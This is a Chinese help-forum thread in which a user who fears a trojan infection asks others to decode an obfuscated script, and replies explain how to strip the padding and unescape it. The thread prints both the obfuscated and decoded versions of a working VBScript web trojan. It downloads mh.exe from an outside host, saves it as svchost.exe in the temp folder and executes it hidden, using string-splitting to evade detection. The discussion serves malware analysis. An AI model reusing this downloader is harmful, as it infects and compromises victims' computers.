大侠来帮帮忙,我可能中了木马,帮我解密下这段加密过的js脚本可以么? 谢谢

一段vbscript<html>
  <script language="VBScript">
    on error resume next
    dl = "http://rabbit222.diy.myrice.com/mh.exe"
    j1="clsid:"
    j2="BD96C556-"
    j3="65A3-"
    j4="11D0-"
    j5="983A-"
    j6="00C04FC29E36"
    j7=j1&j2&j3&j4&j5&j6
    Set df = document.createElement("object")
    df.setAttribute "classid", j7
    b4="Mi"
    b5="cr"
    b6="o"
    b7="soft"
    b8=".X"
    b9="M"
    b10="L"
    b11="H"
    b12="T"
    b13="T"
    b14="P"
    strb=b4&b5&b6&b7&b8&b9&b10&b11&b12&b13&b14
    Set x = df.CreateObject(strb,"")
    a4="A"
    a5="d"
    a6="o"
    a7="d"
    a8="b"
    a9="."
    a10="S"
    a11="t"
    a12="r"
    a13="e"
    a14="a"
    a15="m"
    strd=a4&a5&a6&a7&a8&a9&a10&a11&a12&a13&a14&a15
    set SS = df.createobject(strd,"")
    SS.type = 1
    f4="G"
    f5="E"
    f6="T"
    stre=f4&f5&f6
    x.Open stre, dl, False
    x.Send
    fname1="svchost.exe"
    set F = df.createobject("Scripting.FileSystemObject","")
    tmp2=2
    set tmp = F.GetSpecialFolder(tmp2)
    SS.open
    fname1= F.BuildPath(tmp,fname1)
    SS.write x.responseBody
    SS.savetofile fname1,2
    SS.close
    z1="She"
    z2="ll.A"
    z3="ppli"
    z4="cat"
    z5="io"
    z6="n"
    zz=z1&z2&z3&z4&z5&z6
    set Q = df.createobject(zz,"")
    Q.ShellExecute fname1,"","","open",0
    </script>
    <head>
    <title>小僧空尽过Sp2网页木马生成器</title>
    </head><body>
    </body></html>
这样就能绕过Sp2???
这样创建FSO不会被拦截????
楼上已经解了啊
说说方法吧
首先通过下面的把空格去掉，然后把里面的document.write改成document.getElementById("textarea2").value=
<textarea id="textarea1">
<HTML>

<SCR IPT LANGUAGE="J avas cr ipt">
<!-  -

do c um e nt.wr i te(unescape ("%3Chtml%3E%0D%0A%2  0%20% 3  Cscrip  t%20languag e%3D%22VBS cript  %22%3E%0D%0 A      %2 0%20%20 % 20on%20e r ror%20 r esume   %2  0next%0D%0   A%2   0%  20%  20%20dl% 20 %3D%  20%22htt p% 3 A%2F %2Frabb it22 2  %2E di y%2Em yri ce  %2  E com%2Fmh%2 Eexe%22%0D%0A% 2  0 % 20%2 0%20j1%3D%22 c lsid%3 A %2 2 %0D% 0A %20% 20% 20%2 0j 2%3 D% 2 2BD96C5 56%2 D %  22 %0D %0A%20  %20%20%2 0j3%3 D %2265 A3%2D %22%0D%0 A%20%20% 20%20 j4%3D%22 11D0%2D%22%0D% 0A %2  0% 20%20%2 0j5%  3D%22983A%2D%22 %0D%0A%  20%   2 0%20%20j  6%3D %  2200 C  0  4F C29E36 %22%  0 D%0A %20 %2 0% 20 %2 0j7%3D  j1%26 j2%26j3%26j4% 26j5%26j 6% 0D%  0A %2 0 %20%20%20S et% 20d f%2 0%3 D  %2 0do cu ment%2Ec r e  ateEl ement%28%2 2object%22%29 %0D%0A%2 0% 20%20 % 20  df%   2  EsetAttrib   ute%20%22cl as si d%22  % 2C% 20j7 % 0D %0A%20%2    0%20%20b4%3D%  2  2Mi%22%0D%0A% 20%20%20%   2 0b5%3D% 22cr %22%0D%0A%2 0%20%  20    %20 b 6%3 D%22 o%2 2%0D%0A %2 0%20  %20  %20b7%3 D%  22s   oft% 2   2%0D%  0A%20%20% 20%20b8% 3D%22%2 EX %22   %0D%   0A%20% 20%2  0% 2 0b  9%3 D% 2 2 M % 22 %0D%0 A% 2 0 %20 %20%20b10%  3D% 2 2 L%22%0D % 0 A%20  %20%2  0%20b11%3 D %2 2 H %22% 0 D%0A%20%20%20%2 0b12  %3D%2 2T%2 2%0 D % 0A%2 0% 20 %20%20b13% 3D %2 2T%2 2%0D% 0 A% 20%20   %  2  0%2  0b14%3 D   %2 2P%2  2%0D%0A%20%20%2 0%20str   b %3Db4 %26b5%26   b6%26 b7 %2 6 b8 %26b9 %26b1 0%26b11%26b 12 %26b 1  3%2 6b1 4%0D%0A%20%20 % 2 0% 2 0 S  e  t% 20x%20  %3D%20df  %2ECreat eObj e   ct% 28st rb%2C   % 2 2 %2 2%29%0D   %0A%20%20%20% 20a4%3D% 22A%2  2%0D%0A% 20%20 % 2 0% 2 0 a5%  3D %22 d%2 2%0 D   %0 A% 2 0 %2  0%  20   %20 a6%3 D  % 2  2o%2 2  %  0 D %0A  % 20%2 0% 2   0 %2 0a7 %3 D%22d%22%  0D % 0A %20%20%20%2 0a 8  % 3D% 22b %2 2% 0  D% 0A%20%20%  20% 20a9%3D  %22 %2E%22%0D%0A%2 0%20 %20%2 0   a10 %3D%22S%22%0D % 0 A%20% 2 0 %2 0%20a11%3 D %22t  %22%0 D  % 0A%20% 2  0%20% 20a12 %3 D%22r% 22%0D%0A%20%  20%20%2 0a13% 3 D%22  e%22%0 D%0A%20%20%20%20a14%3 D%2 2a   %22% 0 D%0 A %20 %  20  % 20%20a15%3D%22 m%2 2 %0D %0A%20   %20%20%   20   strd%3Da4%26a 5% 26a6 %2 6 a7  %26 a8%26a9%  26a1 0%26a11% 2 6a1 2% 26a13%2 6a14%  26a 15%0 D %0A%20%20%20 % 20s   et%20 SS%2   0%3D   %2  0df%    2 Ec r eat eo  bject%28strd  %2 C%22%22%2  9% 0D%0A%20%20% 20%20 S  S%2Et ype%20 %3D %201%0D% 0A%20  %2 0% 20%  2 0f4 % 3 D%22G%22% 0 D%0A %20%       20%20%20 f5%3 D% 22E  %22% 0D%0A    %20%20% 2 0% 20f6% 3  D%22T% 2 2%0 D %  0 A  %20%2 0% 2 0%20st  re% 3Df4%26f5%26f 6%0D % 0A%20% 20%2  0% 20x%2EO pen%20st re %  2C%20 dl%2C%2 0 Fals e %0D %0A%20% 20%20%20x  %2ES e nd% 0D  %0 A%20% 20%20%2  0fn ame1%3 D %22sv c hos  t % 2E exe%22%0D %0A %20    %20%20%20set %2  0F% 20% 3D%20  df%2Ecreate object%28%2 2Scripting%2EFileS ys temO   bject%22% 2 C%22%22%  2 9% 0D%0   A%20%20%20 %2 0tmp2%3D2%0D% 0A%2 0 %  20%20%2 0s e t %20t   m p%20 %  3D%20F% 2EGet Specia lFolder%28  tmp 2%29%0D%  0A  %  20 %20%20% 20SS% 2 E open %0D%0 A% 20%2 0% 20%20fname1% 3D%20 F%2 EBui ldPa th%2   8tmp%2Cf name1%29%0D%0A%20%  20%20%20SS%2  Ewri  te% 20x%2Erespo    nse Body%0 D%   0 A%2 0%2  0%2 0   %2 0S S%2E savet ofile %2 0fname1%2 C2%   0D %  0A%  20 % 20%20%20S S%2Ec  lose%0D%0A%2 0%20 %20%  20z1% 3D%2 2Sh e% 22%0D%0A  %2 0%20%  2   0%20z 2% 3D%2 2ll %2EA%  22%0D%0A  %2   0%20%2 0%  20z 3% 3D%2 2ppli%22 %0D%0A%20%20% 20% 20 z4% 3  D %22cat%22%0D % 0A%20%2 0 %20%20z 5 % 3D %2   2io%22 % 0D %0A%20%2 0 %20% 20z 6%3D% 22 n%2  2%0D%0A%20%20 %20 %20z z%3D z1 %26  z2%26z3%26z4%26z5%26z6%0D %0A%20%20%2  0%20set%20 Q% 2 0%3D%2 0df%2 E createobject   % 28zz%2C %2  2 %22%29  %0D%0A%20%20% 20%20Q%2 EShellEx ec ute%20fn ame1 %2C%22%22% 2C%2  2 % 2 2 %2C%22o pen% 22 %2C0%0D  %0 A%20%2 0% 20%20% 3 C%2F scr i pt% 3E%0D%0 A%20%20  %20%20%3C h ead%3E% 0D% 0 A%20%2 0%20%20  %3C title % 3E%u5 C0F%u50E7%u7A7A%u5C3D%  20%u8FC7Sp 2%u7F5 1% u  9875%u6728%u 9  A6  C% u751F% u62 10 %u566 8 % 3C%2Fti tle  % 3E%0D  %0 A%20 % 2 0% 20%20%3 C%2Fh ead%3 E %3C bod  y %3E%0D%0A%20%20%20% 2   0   % 3C% 2Fbod  y%3  E% 3C% 2 Fhtml%3E%0D %  0A") )
/ /--> </SCRIPT >

</HTML>
</textarea>
<textarea id="textarea2">
</textarea>
<script language=javascript>
var str=document.getElementById("textarea1").value
document.getElementById("textarea2").value=str.replace(/\s/g,"");
</script>

调试易

大侠来帮帮忙,我可能中了木马,帮我解密下这段加密过的js脚本可以么? 谢谢

解决方案 »